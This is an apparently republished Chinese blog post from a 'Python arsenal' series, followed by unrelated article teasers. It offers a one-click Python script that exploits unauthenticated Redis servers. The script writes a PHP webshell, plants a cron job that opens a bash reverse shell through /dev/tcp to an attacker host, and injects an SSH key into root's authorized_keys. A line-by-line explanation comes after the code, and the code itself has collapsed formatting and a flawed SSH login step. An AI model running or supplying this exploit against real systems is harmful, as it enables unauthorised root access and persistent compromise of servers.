Python武器库开发-武器库篇之Redis未授权漏洞一键Getshell(五十八)

Python武器库开发-武器库篇之Redis未授权漏洞一键Getshell(五十八)

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进⾏采⽤相关的策略,⽐如添加防⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务登录⽬标服务器、添加计划任务、写⼊Webshell等操作。

测试环境

主机IP
Kali192.168.41.132

实验代码

对于·Redis未授权访问漏洞getshell 一般常用的有三种方式,第一种是写Webshell,第二种是添加计划任务反弹shell,第三种就是ssh key 免密登录。

以下是使用Python一键 getshell Redis未授权漏洞的代码示例:

#!/usr/bin/env python
import redis
import socket
import paramikosshkey = 'ssh 公钥'#用socket扫描端口
def scan_port(ip):s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(0.3)try:s.connect((ip, 6379))print("Redis 端口开放!!!")s.closecheck_redis_connect(ip)except Exception:pass    def check_redis_connect(ip):try:client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)print(client.client_list())print("[+]redis未授权存在")exp_webshell(client)exp_crontab(client)exp_ssh(client, ip)except Exception as e:print("无法连接,错误原因:{}".format(e))def exp_webshell(redis_client):#1.找到web服务器的根目录root = '/var/www/html/'redis_client.config_set('dir', root)redis_client.config_set('dbfilename', 'shell.php')redis_client.set('x', '<?php phpinfo(); ?>')redis_client.save()print('webshell已经写入成功')  def exp_crontab(redis_client):root = '/var/spool/cron/'redis_client.config_set('dir',root)redis_client.config_set('dbfilename','root')redis_client.set('s', '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/host IP/8888 0>&1\n\n')redis_client.save()print('定时任务已经创建')def exp_ssh(redis_client,ip):root = '/root/.ssh/'redis_client.config_set('dir',root)redis_client.config_set('dbfilename','authorized_keys')redis_client.set('n','\n\n'+sshkey+'\n\n')redis_client.save()print('免密登录已完成')connect_ssh(ip)def connect_ssh(ip):ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,22,'root',sshkey)print('ssh 连接成功')except Exception:print('连接失败')    if __name__ == '__main__':connect_ssh('host IP')scan_port('host IP')

这段代码的作用是利用Redis未授权访问漏洞,在目标主机上执行一系列操作。下面是代码的详细分析:

  1. 首先 导入必要的模块:redissocketparamiko

  2. 定义了一个SSH公钥变量sshkey

  3. 定义了一个函数scan_port(ip),用于扫描目标主机的端口。在该函数中,通过创建一个socket对象并连接到目标主机的6379端口,若连接成功,则打印"Redis 端口开放!!!"并调用check_redis_connect(ip)函数。

  4. 定义了一个函数check_redis_connect(ip),用于检查是否可以连接到Redis数据库。在该函数中,通过创建一个redis.StrictRedis对象连接到目标主机的Redis数据库,若连接成功,则打印"redis未授权存在"并依次调用exp_webshell(client)exp_crontab(client)exp_ssh(client,ip)函数进行一系列操作。

  5. 定义了一个函数exp_webshell(redis_client),用于在目标主机上写入一个WebShell。在该函数中,首先设置Redis的配置参数dir为/var/www/html/,然后设置dbfilename为shell.php,接着通过redis_client.set()方法将一个PHP代码写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"webshell已经写入成功"。

  6. 定义了一个函数exp_crontab(redis_client),用于在目标主机上创建一个定时任务。在该函数中,首先设置Redis的配置参数dir为/var/spool/cron/,然后设置dbfilename为root,接着通过redis_client.set()方法将一个Shell命令写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"定时任务已经创建"。

  7. 定义了一个函数exp_ssh(redis_client,ip),用于在目标主机上实现SSH免密登录。在该函数中,首先设置Redis的配置参数dir为/root/.ssh/,然后设置dbfilename为authorized_keys,接着通过redis_client.set()方法将SSH公钥写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"免密登录已完成",然后调用connect_ssh(ip)函数进行SSH连接。

  8. 定义了一个函数connect_ssh(ip),用于与目标主机建立SSH连接。在该函数中,首先创建一个paramiko.SSHClient对象,然后设置自动添加主机密钥的策略,接着通过ssh.connect()方法尝试与目标主机建立SSH连接,若连接成功,则打印"ssh 连接成功",否则打印"连接失败"。

  9. if __name__ == '__main__':下,依次调用connect_ssh('host IP')scan_port('host IP')函数,其中connect_ssh()函数用于检查SSH连接是否成功,scan_port()函数用于扫描目标主机的Redis端口是否开放。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857174.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【自动驾驶】运动底盘状态数据:里程计、IMU、运动学分析、串口通信协议

文章目录 控制器与运动底盘状态数据:里程计、IMU运动学分析与轮子运动学分析公式串口通信控制与反馈通讯协议串口通信反馈上行数据帧解析串口通信控制下行数据帧解析代码实现IMU、里程计数据的获取、解析、计算控制器与运动底盘状态数据:里程计、IMU 控制器需要负责外发底盘…

Matplotlib绘制一个X轴2个Y轴的图表

import matplotlib matplotlib.use(Agg) # 使用Agg后端&#xff0c;这个后端适用于生成图像文件但不显示它们 import matplotlib.pyplot as plt fig plt.figure(figsize(15, 8))# 字体使用楷体 matplotlib.rc("font", family"Microsoft YaHei") ax1 fig…

整合第三方技术-整合JUnit

黑马程序员Spring Boot2 文章目录 名称&#xff1a;SpringBootTest类型&#xff1a;测试类注解位置&#xff1a;测试类定义上方作用&#xff1a;设置JUnit加载的SpringBoot启动类范例&#xff1a;

短视频外卖服务商怎么做?快速通道及申请条件解析

近日&#xff0c;某音官方于某音电商学习中心发布了关于新增《【到家外卖】内容服务商开放准入公告》的意见征集通知&#xff08;以下简称“通知”&#xff09;&#xff0c;宣布了某音外卖即将正式开放的消息。随后&#xff0c;以某音外卖服务商怎么做为代表的相关问题也在多个…

定义和反射Annotation类(注解)

文章目录 前言一、定义Annotation类二、反射Anootation类 1.元注解2.反射注解总结 前言 在写代码的过程中&#xff0c;我们经常会写到注释&#xff0c;以此来提醒代码中的点。但是&#xff0c;这些注释不会被查看&#xff0c;也不在整个代码之中&#xff0c;只能在源代码中进行…

适合PbootCMS的阿里云短信发送类

前言介绍 一款大佬分享的简单方便阿里云短信封装代码&#xff0c;不用官网复杂的SDK&#xff0c;快速上手。 现在我把它适配成pbootcms&#xff0c;可以拿来快速制作短信发送功能。 封装代码 <?php /*** author CMS88* 阿里云SMS*/ namespace core\sms; use core\basi…

【maya逼真人物】灯光布置与调节

初始设置&#xff1a; 首先创建了一个Sky Dome Light&#xff08;天空穹顶灯&#xff09;&#xff0c;并使用HDRI贴图来提供基本环境光照。作者选择了一个包含天空和地面的HDRI图像&#xff0c;为场景提供初始照明。主光源&#xff08;Key Light&#xff09;&#xff1a; 创建了…

Mistral AI最新力作——Mistral Large媲美GPT-4

Mistral AI自豪地宣布&#xff0c;他们的最新力作——Mistral Large&#xff0c;已经正式面世。这款尖端的文本生成模型不仅在多语言理解上表现出色&#xff0c;更在推理能力上达到了顶级水平。Mistral Large能够处理包括文本理解、转换和代码生成在内的复杂多语言推理任务。 M…

36 - shell之sed

sed grep就是查找文本当中的内容&#xff0c;扩展正则表达式。 一、sed 1.1、sed的定义 sed是一种流编辑器&#xff0c;一次处理一行内容。 如果只是展示&#xff0c;会放在缓冲区&#xff08;模式空间&#xff09;&#xff0c;展示结束&#xff0c;会从模式空间把结果删除…

【LeetCode刷题】6. Z 字形变换

1. 题目链接2. 题目描述3. 解题方法4. 代码 1. 题目链接 6. Z 字形变换 2. 题目描述 3. 解题方法 假设一串字符串"abcdefghijklmnopqrstuvwx", 会有如下排列&#xff1a; 我们再以下标来看看排列 从下标来看&#xff0c;每个下标是有规律的 每一行的下标之间的差…

Java基础 - 练习(五)根据今天日期获取一周内的日期(基姆拉尔森公式)

基姆拉尔森计算公式用于计算一周内的日期。比如给你年月日&#xff0c;从而计算今天是星期几。 基姆拉尔森公式 Week (d2*m3*(m1)/5yy/4-y/100y/4001) mod 7&#xff0c; 3<m<14Week的取值范围是0 ~ 6&#xff0c;其中0代表星期日&#xff0c;1 ~ 6分别代表星期一到星期…

【ai】tx2-nx 开通samba

ubutn服务器加入了samba给jetson也加入一个samba 添加root用户 密码与nvidia一样 添加nvidia 到suoders中并添加samba账号 nvidia@tx2-nx:~$ nvidia@tx2-nx:~$ nvidia@tx2-nx:~$ nvidia@tx2-nx:~$ sudo vi /etc/sudoers nvidia@tx2-nx:~$ sudo chm

【第24章】Vue实战篇之用户信息展示

文章目录 前言一、准备1. 获取用户信息2. 存储用户信息3. 加载用户信息 二、用户信息1.昵称2.头像 三、展示总结 前言 这里我们来展示用户昵称和头像。 一、准备 1. 获取用户信息 export const userInfoService ()>{return request.get(/user/info) }2. 存储用户信息 i…

使用Python selenium爬虫领英数据,并进行AI岗位数据挖掘

随着OpenAI大火&#xff0c;从事AI开发的人趋之若鹜&#xff0c;这次使用Python selenium抓取了领英上几万条岗位薪资数据&#xff0c;并使用Pandas、matplotlib、seaborn等库进行可视化探索分析。 但领英设置了一些反爬措施&#xff0c;对IP进行限制封禁&#xff0c;因此会用到…

JavaWeb阶段学习知识点(二)

登录校验和JWT令牌实现 JWT使用方式 创建一个springboot项目,pom.xml引入jwt依赖 <dependency><groupId>io.jsonwebtoken</groupId><artifactId>jjwt</artifactId><version>0.9.1</version></dependency><!-- 针对jdk17或…

每月 GitHub 探索|10 款引领科技趋势的开源项目

1.IT-Tools 仓库名称&#xff1a; CorentinTh/it-tools 截止发稿星数: 16842 (近一个月新增:5744) 仓库语言: Vue 仓库开源协议&#xff1a; GNU General Public License v3.0 引言 CorentinTh/it-tools 是一个开源项目&#xff0c;提供各种对开发者友好的在线工具&#xff0…

48-4 内网渗透 - Rotten Potato(烂土豆) 提权

一、Potato家族提权 在渗透测试中,Potato家族是一种常用的提权技术,主要利用Windows服务账户的特权来将已获取的权限提升至系统(SYSTEM)级别。这种技术利用了两个关键的特权:SeAssignPrimaryTokenPrivilege和SeImpersonatePrivilege,这些特权允许用户在其他用户的安全上下…

【C语言】14.数组指针与函数指针及其应用

一、数组指针 顾名思义&#xff0c;数组指针就是指向数组的指针。形如&#xff1a;int (*p)[10]; 注意&#xff1a;[]的优先级要高于*号的&#xff0c;所以必须加上&#xff08;&#xff09;来保证p先和*结合。 数组指针的使用 int arr[10] {0}; int (*parr)[10] &arr;…

numpy-stl库的基本使用及notebook下的使用

numpy-stl库的基本使用及notebook下的可视化 https://pypi.org/project/numpy-stl/ 安装 conda install -c conda-forge numpy-stl引入资源 import numpy as np import matplotlib.pyplot as plt from mpl_toolkits import mplot3d from stl import mesh读取stl文件 stl_fil…

springboot特殊问题处理2——springboot集成flowable实现工作流程的完整教程(一)

在实际项目开发过程中&#xff0c;流程相关的业务实现采用工作流会异常清晰明了&#xff0c;但是Activity学习成本和开发难度对追求效率的开发工作者来说异常繁琐&#xff0c;但是作为Activity的亲儿子之一的flowable&#xff0c;其轻量化的使用和对应的api会让开发者感受简单&…